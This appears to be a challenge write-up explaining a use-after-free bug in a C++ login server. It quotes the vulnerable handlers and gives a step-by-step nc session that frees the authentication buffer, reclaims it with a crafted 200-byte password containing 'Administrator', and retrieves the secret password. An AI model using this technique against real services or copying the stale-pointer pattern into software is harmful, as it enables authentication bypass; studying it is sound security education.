The vulnerability you were looking for is a Use After Free bug.
The application uses the
"authenticationinfo" string to store if the user is logged
in as an administrator or anonymous user. This is done in the
following code block, as part of the "password" operand.
- //create authorization strings
-
authenticationinfo = (char *)malloc(200);
-
if (authenticationinfo == NULL)
-
{
-
cout << "malloc error" << endl;
-
continue;
-
}
-
memset(authenticationinfo, 0x00, 200);
-
strcat_s(authenticationinfo, 200, "Logged in user ");
-
if (password.compare(secretPassword) == 0)
-
{
-
string msg = "you are now logged in as an admin\n";
-
send(ClientSocket, msg.c_str(), msg.length(), 0);
-
strcat_s(authenticationinfo, 200, "Administrator");
-
}
-
else
-
{
-
string msg = "Authentication failure\n";
-
send(ClientSocket, msg.c_str(), msg.length(), 0);
-
strcat_s(authenticationinfo, 200, "Anonymous");
-
}
The "authenticationinfo"
string is 200 bytes of data stored on the heap. When the user logs
out via the "logout" operand, this memory is freed by the
application.
-
else if (operand.compare("logout") == 0)
-
{
-
cout << "logout operand called" << endl;
-
if (authenticationinfo != NULL)
-
{
-
free(authenticationinfo);
-
}
-
string msg = "you are now logged out\nPlease Disconnect\n";
-
send(ClientSocket, msg.c_str(), msg.length(), 0);
-
}
However, the connection is
not closed, so the user can still send commands to the server. After
logout, "authenticationinfo" points to freed memory so it
is possible to reclaim the memory at this pointer by allocating 200
bytes.
The "resetpassword"
operand allows the user to allocate memory on the heap and specify
the size of the allocated blob via the length of the string that is
passed.
-
else if (operand.compare("resetpassword") == 0)
-
{
-
cout << "reset pass operand" << endl;
-
//get parameter
-
string newPassword = getParameter(recvbuf);
-
-
unsigned int passwordlength = newPassword.length();
-
if (passwordlength > 300)
-
{
-
wcout << "new password too long";
-
continue;
-
}
-
char *newpass = (char *)malloc(passwordlength);
-
wcout << "allocated " << passwordlength << endl;
-
if (newpass == NULL)
-
{
-
cout << "malloc error; restarting program" << endl;
-
}
-
memcpy(newpass, newPassword.c_str(), passwordlength);
-
-
//write new password to file
-
writeNewPassword(newpass);
-
As a result, calling
"resetpassword" with a 200 byte argument will allocate 200
bytes on the heap. If this is done after "authenticationinfo"
is freed, the memory will be allocated at the address that
"authenticationinfo" points to.
A final step in the
exploitation process is using the "getpassword" operand.
This operand contains a stale pointer to the "authenticationinfo"
string. The code checks if the string contains "Administrator".
At this point, we have
re-used the memory to where "authenticationinfo" points by
our own string via "resetpassword". We can include
"Administrator" in our string.
The following commands can
be used to exploit the issue:
C:\Users\Sean>nc
52.23.249.148 9000 -vvvvvv
ec2-52-23-249-148.compute-1.amazonaws.com
[52.23.249.148] 9000 (?) open
login:Administrator
password:test **this
will create the 200 byte authenticationinfo string **
Authentication failure
logout: **
this will free the authenticationinfo string **
you are now logged out
Please Disconnect
resetpassword:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAdministratoraaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
** this will allocated 200 bytes on the heap,
at the location where the "authenticationinfo" string was
stored **
getpassword: **
here the program will check if the string contains "Administrator"
and return the password **
Your secret password is:
!!Erick*Is*Zuivertjes*2016!!